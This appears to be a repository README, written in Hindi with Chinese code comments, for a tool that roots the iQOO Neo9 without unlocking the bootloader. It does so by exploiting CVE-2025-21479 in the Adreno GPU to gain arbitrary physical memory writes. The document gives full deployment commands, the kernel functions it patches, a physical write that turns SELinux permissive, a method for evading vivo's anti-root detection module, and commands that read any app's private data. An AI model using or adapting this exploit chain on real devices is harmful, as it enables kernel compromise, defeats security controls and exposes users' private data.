
iQOO Neo9 (PD2338C) बिना अनलॉक वाला Caps-Root टूल** — CVE-2025-21479 (Adreno GPU SDS) पर आधारित मनमाना फिजिकल-राइट विशेषाधिकार वृद्धि समाधान
iQOO Neo9 (PD2338C) बिना अनलॉक Caps-Root टूल — CVE-2025-21479 (Adreno GPU SDS) पर आधारित मनमानी फिजिकल राइट प्रिविलेज एस्केलेशन समाधान
Bootloader अनलॉक करने की आवश्यकता नहीं, फ्लैश करने की आवश्यकता नहीं, Magisk की आवश्यकता नहीं। GPU भेद्यता के माध्यम से kernel-स्तरीय मनमानी फिजिकल राइट प्राप्त करें, kernel के महत्वपूर्ण फ़ंक्शन पैच करने के बाद पूर्ण क्षमताओं (41-bit caps) के साथ स्थायी root daemon, जो rootc / su के लिए root क्षमता प्रदान करता है।
मुख्य विशेषताएँ: euid को 2000 पर बनाए रखा जाता है ताकि vivo vr.ko एंटी-root डिटेक्शन को बायपास किया जा सके (euid=0 डिवाइस रिबूट ट्रिगर करता है), root क्षमता uid=0 के बराबर है लेकिन प्रक्रिया की पहचान सुरक्षित है।
CapEff: 000001ffffffffff (41-बिट पूर्ण क्षमताएँ), एप्लिकेशन-स्तर का दिखावा नहींvr.ko डिटेक्शन विफल, डिवाइस में शून्य क्रैशsu रैपर, MT मैनेजर / Termux सीधे कॉल कर सकते हैं⚠️ यह exploit इस kernel के विशिष्ट लेआउट पर निर्भर करता है (प्रतीक ऑफ़सेट,
VIVO_VMET_BREAK_KMIविशेषता,vr.koव्यवहार), अन्य डिवाइस/kernel के लिए पुनः अनुकूलन आवश्यक है।
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
स्क्रिप्ट स्वचालित रूप से: तीन फ़ाइलें push करेगी → रिबूट करके कोल्ड विंडो प्राप्त करेगी → exploit को कई राउंड चलाएगी (हिट दर ~50%/राउंड) → daemon तैयार → सत्यापन।
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Termux कॉन्फ़िगरेशन: पहली बार उपयोग से पहले निष्पादित करें (root विशेषाधिकार):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT मैनेजर: सेटिंग्स → ROOT → कस्टम su पथ → /data/local/tmp/su
rootc/su वातावरण जानबूझकर euid=2000 बनाए रखता है (vr.ko एंटी-root डिटेक्शन को रोकने के लिए)। लेकिन कुछ kernel इंटरफ़ेस (जैसे /proc/vrp, कुछ sysfs नोड) के ड्राइवर current_euid()==0 की जाँच करते हैं, पूर्ण caps से भी पास नहीं होते → इस स्थिति में u0 का उपयोग करके rootd वातावरण के CAP_SETUID के माध्यम से वास्तविक root में उन्नत हों:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) vr.ko fatal ट्रिगर नहीं करता (rootd मुख्य प्रक्रिया स्वयं uid=0 के साथ लंबे समय तक चलती है; uid=0 प्रक्रियाएँ किल-लिस्ट में नहीं हैं)/proc/vrp uid=0 + पूर्ण caps के तहत भी EPERM लौटाता है (vrp ड्राइवर में सक्रिय अनुमति जाँच है, DAC/SELinux नहीं—रिवर्स इंजीनियरिंग जारी है); insmod uid=0 के तहत भी डिवाइस रिबूट ट्रिगर करता है (मॉड्यूल लोडिंग डिटेक्शन कॉलर का uid नहीं देखता)docs\u0_说明.md में देखें/data/local/tmp डिफ़ॉल्ट रूप से drwxrwxrwt (1777, shell स्वामित्व) है—DAC स्तर पर कोई भी उपयोगकर्ता पढ़/लिख सकता है। सामान्य उपयोगकर्ताओं (untrusted_app डोमेन) को वास्तव में रोकता है SELinux (नीति app डोमेन को shell_data_file लेबल तक पहुँच से इनकार करती है):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file केवल shell डोमेन के लिए सुलभ); पुनः तैनाती पर बहाल होती हैsu -c "cat /data/local/tmp/xxx > /sdcard/xxx" माध्यम के रूप में उपयोग करें (app के लिए /sdcard तक पहुँच निर्बाध है)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)────▶ daemon ──▶ 任意 root 命令 (全 caps)
euid=2000 क्यों? vivo kernel में अंतर्निहित vr.ko एंटी-root मॉड्यूल: cred->euid==0 वाली गैर-vrp डोमेन प्रक्रिया का पता चलने पर fatal ट्रिगर करता है (डिवाइस रिबूट)। MODE=10 प्रिविलेज एस्केलेशन जानबूझकर euid नहीं बदलता, केवल fsuid/fsgid + caps लिखता है—vr.ko ट्रिगर नहीं हो सकता, लेकिन kernel की capable() जाँचें सभी पास होती हैं (वास्तविक root क्षमता)।
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ ├── su # su 兼容包装器 (MT/Termux)
│ ├── u0.c / u0 # euid=0 提升工具 (真 root 操作, 见"u0"章节)
│ └── shim.c / shim.so # LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1 से कई राउंड पुनः प्रयास करेंcat /proc/uptime से पुष्टि करें (uptime लगातार बढ़ता रहे और स्क्रीन सामान्य हो = डिवाइस क्रैश नहीं हुआ)id में uid=2000 दिखाता है: सिद्धांत अनुभाग देखें, यह डिज़ाइन व्यवहार है; क्षमता root के बराबर है/data/local/tmp अनुमतियाँ: Termux/सामान्य उपयोगकर्ता परिदृश्यों में chmod 1777 आवश्यक है ("सामान्य उपयोगकर्ता पहुँच" अनुभाग देखें); SELinux को permissive रखना होता है (exploit तैनाती के समय सेट होता है), setenforce 0 का उपयोग न करें (vr.ko डिटेक्शन)प्रश्न: क्या यह असली root है? उत्तर: हाँ। kernel की capable() जाँचें (CapEff पूर्ण रूप से सक्षम, chown 0:0, /proc/iomem पढ़ना, किसी भी app का डेटा पढ़ना) सभी पास होती हैं—kernel मानता है कि आपके पास root क्षमता है, बस uid संख्या 2000 है।
प्रश्न: क्या यह डिवाइस को ब्रिक कर सकता है? उत्तर: नहीं। कोई पार्टीशन राइट नहीं होता, कोई स्थायी संशोधन नहीं होता, सबसे खराब स्थिति में GPU हैंग होता है जो रिबूट पर ठीक हो जाता है।
प्रश्न: क्या अन्य मॉडल समर्थित हैं? उत्तर: पुनः अनुकूलन आवश्यक है (kernel लेआउट, प्रतीक ऑफ़सेट, vr.ko व्यवहार सभी PD2338C-विशिष्ट हैं—यदि यह vivo iqoo neo9 है और सिस्टम OriginOS 5 है तो प्रयास किया जा सकता है)।
यह परियोजना केवल सुरक्षा अनुसंधान और व्यक्तिगत डिवाइस उपयोग के लिए है। इस टूल के उपयोग से उत्पन्न होने वाले किसी भी परिणाम (जिसमें डिवाइस क्षति, डेटा हानि, वारंटी समाप्ति शामिल है लेकिन इन्हीं तक सीमित नहीं) की जिम्मेदारी उपयोगकर्ता स्वयं वहन करेगा। कृपया स्थानीय कानूनों और विनियमों का पालन करें, अवैध उपयोग न करें।
| विवरण | मान |
|---|
| डिवाइस | iQOO Neo9 (PD2338C) |
| सिस्टम | Android 15 |
| kernel | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| मेमोरी लेआउट | भौतिक रूप से KASLR नहीं (stext_pa=0xa8010000), VA समग्र रूप से slide |